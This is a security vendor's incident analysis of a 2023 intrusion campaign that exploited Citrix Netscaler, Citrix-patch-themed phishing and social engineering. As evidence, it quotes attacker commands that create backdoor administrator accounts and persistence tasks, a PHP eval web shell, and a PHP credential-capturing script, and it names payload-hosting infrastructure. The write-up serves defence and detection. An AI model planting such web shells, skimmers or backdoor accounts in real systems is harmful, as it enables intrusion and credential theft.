Netscaler Exploitation to Social Engineering: Mapping Convergence of Adversary Tradecraft Across Victims

The following write-up and analysis is thanks to Matthew Brennan, Harlan Carvey, Anthony Smith, Craig Sweeney, and Joe Slowik. 

Background

Huntress periodically performs reviews of identified incidents for pattern analysis, and leverages open and closed sources of intelligence to engage in threat hunting operations. At times, a combination of these activities—reviewing what we have already remediated and what we learn from external sources—reveals an overlap in adversary operations against Huntress partners and clients.

One such instance took place in mid-September 2023, when analysis of several recent intrusions revealed a wider pattern.

Further examination identified a link with publicly available threat intelligence information, revealing commonalities in a campaign spanning multiple organizations. While the impact of these intrusions remains unknown as activity was identified and stopped before the adversary’s intentions could become known, the identified tradecraft overlaps with various trends currently observed in the information landscape: living off the land binaries (LOLBins) and behaviors, emphasis on evasion and obfuscation, and even the use of non-standard means to induce victim personnel to interact with malicious resources.

Initial Intrusion Signs

Huntress engages in periodic threat hunting across monitored endpoints for signs of malicious (or suspicious) activity not previously identified through existing detections. While performing this activity, Huntress researchers identified odd process relationships in several monitored environments:

Figure 1: Observed Process Tree Activity

Survey and reconnaissance activities reflect common adversary tradecraft: executing built-in commands such as whoami.exe, tasklist with various flags, ipconfig, and ping. Typically, these are difficult items to distinguish as potentially malicious given their common, benign use by system administrators. However, when launched via the Windows Automatic Update process, wuauclt.exe, such activity becomes very strange and indicates, at minimum, odd activity within the monitored environment.

Once such activity moved beyond system survey commands to follow-on process execution and persistence activity, it became quickly apparent that the actions represented a threat actor establishing themselves within the victim network. Example commands include the following:

net  user DefaultService AiRPcp47_r00t /add /fullname:"DefaultService" /comment:"DefaultService"

net  localgroup "Administrators" DefaultService /add

"C:\Windows\system32\rundll32.exe" c:\perflogs\ch.dll,Start

"C:\Windows\system32\schtasks.exe" /create /sc onstart /tn \Microsoft\Windows\SpacePort\SpaceAgentTaskMgrSHR /tr "c:\windows\ADFS\dllhost.exe 5ba2c0f4d58d7e124ba23ae4cb3822ecb7990eea" /ru SYSTEM

"C:\Windows\system32\msiexec.exe" /i c:\perflogs\act.msi /qn

The above shows an adversary working to establish themselves within the victim environment through creating adversary-controlled, privileged accounts and creating a scheduled task for persistence mechanisms as well. In some environments, the above was paired with anomalous PowerShell activity such as:

wmic  /node:[redacted] process call create \"cmd /c powershell.exe -nop -ep bypass -c c:\\windows\\temp\\esd.ps1 622ddc28910eb5482c0ed8b01b10270a20c25206-fbf201cb-s\"

When identified, PowerShell scripts were typically heavily obfuscated, such as the following example:

Figure 2: Obfuscated PowerShell Script Linked To Intrusion

In the above specific instance, the PowerShell script leverages a combination of Base64 and XOR encoding to hide a DLL payload, which in turn attempts to decode and run another payload using an RC4 key provided as a parameter to the original script. This item is designed to load additional content from a remotely hosted location: hxxps://91.236.230[.]111/1/18150e98

This IP address is managed by BlueVPS in ASN 62005—a detail that will become significant shortly.

Overall, Huntress identified evidence of compromise based on multiple examples of the above commands and behaviors. However, at the time of initial discovery, it was not clear whether this activity aligned with any known threat activity or historical actions.

Making Connections

As with many things in life, potential solutions to the issue of context emerged via search engines. Through open-source research, Huntress analysts identified the following social media posts from researchers at Sophos:

Figure 3: Sophos social media posts

While not an exact match for the activity observed by Huntress, several items did overlap:

• Leveraging wuauclt.exe, likely via code injection, for post-intrusion process execution.
• Use of obfuscated PowerShell scripts with non-standard, distinctive arguments passed at the time of execution.
• Remote connectivity to resources hosted on BlueVPS infrastructure.
• The use of Citrix Netscaler in some (but not all) of the Huntress monitored environments.

The fourth item above caught our attention as a potential initial access vector: namely, the exploitation of CVE-2023-3519, a recent item of focus in a CISA-issued alert. 

Multiple identified victims were running vulnerable Netscaler equipment at the time of initial access. Based on intrusion information, Huntress identified two web shell items. First, the following one-liner at /vpn/themes/imgs/Ctxheaderlogon.php: 

<?php @eval(base64_decode($_POST['JohnCoffey2023!']));?>

Second, a simple credential capture script stored at /vpn/themes/imgs/netscaler.php:

$date = date("d/m/y : H:i :")

$username= $_POST['u']

$password= $_POST['p']

$password2= $_POST['p2']

if ($username

="undefined"){

$username = urldecode($username)

$password = urldecode($password)

file_put_contents("netscaler.1" , "Username:".$username.PHP_EOL ,FILE_APPEND)

file_put_contents("netscaler.1" , "Password:".$password.PHP_EOL ,FILE_APPEND)

file_put_contents('netscaler.1', "Date:".$date.$data.PHP_EOL, FILE_APPEND)

file_put_contents("netscaler.1" , "PIN:".$password2.PHP_EOL ,FILE_APPEND)

file_put_contents("netscaler.1" , "-----------------------------------------------------".PHP_EOL ,FILE_APPEND)

The script outputs collected login information to a file in the same directory called netscaler.1. With persistent access, the threat actor can continuously gather and exfiltrate user login credentials to enable alternative routes to victim networks.

While exploitation may define many of these potential intrusions, two clear outliers existed for initial access activity. The first outlier appears to start with a user either visiting or being directed to the following resource: hXXp://[redacted].z9x[.]org/?citfixrosie 

The above link redirects to a OneDrive repository with a single, password-protected zip file:

Figure 4: OneDrive Storing Password-Protected Zip

This methodology—directing a user to a download for a password-protected zip file—suggests some type of phishing activity where the malicious link to the object is provided along with the password within the communication stream. This appears to be the case when viewing the contents of the archive, which features an LNK object and a directory containing a DLL and a legitimate EXE:

Figure 5: Citfix29.zip Archive Contents

More interestingly still, a review of Huntress EDR information indicates execution of ADExplorer64.exe, likely a version of the Sysinternals AD Explorer tool for gathering Active Directory information, with a process lineage that suggests user interaction via an LNK object. The execution is paired with the use of the Windows MSG command, including content (in Dutch) communicating the successful application of a Citrix “patch:”

Figure 6: Command Execution Including MSG to Victim User

The password-protected zip archive to LNK object aligns very closely with current trends in phishing activity following the programmatic disabling of macros in Microsoft Office documents. While Huntress has been unable to recover the means through which the user was directed to the remote resource and zip file, the combination of the message content and naming conventions for the files (e.g., CITFIX#29) strongly indicate Citrix patch-themed phishing to gain user interaction and execution.

Huntress analysts were able to recover the version.dll from the victim machine. Based on the contents of the LNK file and captured telemetry, ADExplorer64 (legitimate) launches with special parameters with the malicious DLL in the same directory: ADExplorer64.exe  16DF573D-988D-4F48-9BAE-66FB6A32F821 F821

Given the available information, the observed behavior represents DLL search order hijacking or sideloading attempts, as seen in examples ranging from state-sponsored threat actor Nobelium’s FoggyWeb backdoor installation to abuse of signed Microsoft executables to install Brute Ratel. In this specific case, ADExplorer64 launches the Microsoft Resource Monitor process (resmon.exe), which then spawns a Windows Automatic Update process (wuauclt.exe) exhibiting the anomalous behavior described previously.

Aside from Citrix-related items and this non-exploitation vector, Huntress also communicated with a partner impacted by the activity described above who identified a completely different intrusion vector. In this case, a member of the victim’s IT staff was directly contacted by the threat actor, and through social engineering, induced to access and execute a payload leading to initial infection. Given recent news surrounding non-traditional social engineering mechanisms for initial network access, as seen in the MGM ransomware case, the described activity is both concerning and representative of new trends in adversary activity to compromise victim organizations.

Fortunately, as noted earlier in this discussion, Huntress has been unable to determine the ultimate goal of these intrusions as they were identified and mitigated before adversaries could act on final objectives. However, in light of the ongoing and concerning epidemic of ransomware and similar monetization of computer crime, the above actions reflect concerning trends in intrusion activity.

Converging On Tradecraft

Notably in the items identified above, there are common “themes” echoed:

• Likely abuse and code injection in the Windows Automatic Updates executable for follow-on process execution and achieving persistence.
• Thematic relationships with, if not outright exploitation of, a concerning vulnerability in an external-facing network appliance.
• Reliance on obfuscation and calling conventions that indicate, at minimum, shared lessons learned if not identifying one specific, unitary actor.

Based on some of these observations, there may be links to the August 2023 activity identified in social media remarks from Sophos. But further review, such as the zip to LNK object observation, indicates different tradecraft (even if echoing similar themes) from this observation. Even though subsequent actions appear similar, differences in observations and advances in time mean Huntress cannot conclusively link the August activity with what we observed in September—but we can certainly say that these actions “rhyme.” 

Figure 7: Converging Access Mechanisms On Common Tradecraft

Essentially, in an ecosystem where defenders continually work to disadvantage and detect adversaries, and the space for adversary action inevitably shrinks (absent groundbreaking discoveries in offensive action), we should anticipate convergence on certain tradecraft items over time. The abuse of the Windows Automatic Update executable and common obfuscation mechanisms thus represent tradecraft potentially shared by multiple entities, but used because it enables evasion of security tooling and visibility.

Unfortunately, such trends make the life of threat intelligence analysts more difficult as adversaries coalesce around increasingly standard tradecraft and actions—an emphasis on LOLBins, abuse of RMM tools, and legitimate account takeover. Yet from a defender’s perspective, such convergence offers opportunities in that adversaries are placing most (if not all) of their proverbial “eggs” in a few, known baskets. Through continuous striving to improve visibility, map our environments, and profile legitimate use of certain tools and techniques abused by threat actors, we can turn the tide and identify when such entities mean to do us and our networks harm.

Indicators Of Compromise

Shell Commands of Interest

The following examples capture adversary operations using built-in system commands, redirection, and similar mechanisms for process execution, control flow, and other activities on monitored hosts.

While the above have some overlap with legitimate administrator and programmatic activity, identifying the context in which these items run—such as anomalous parent processes or unusual staging locations—can enable defenders to differentiate between benign and malicious examples of such execution.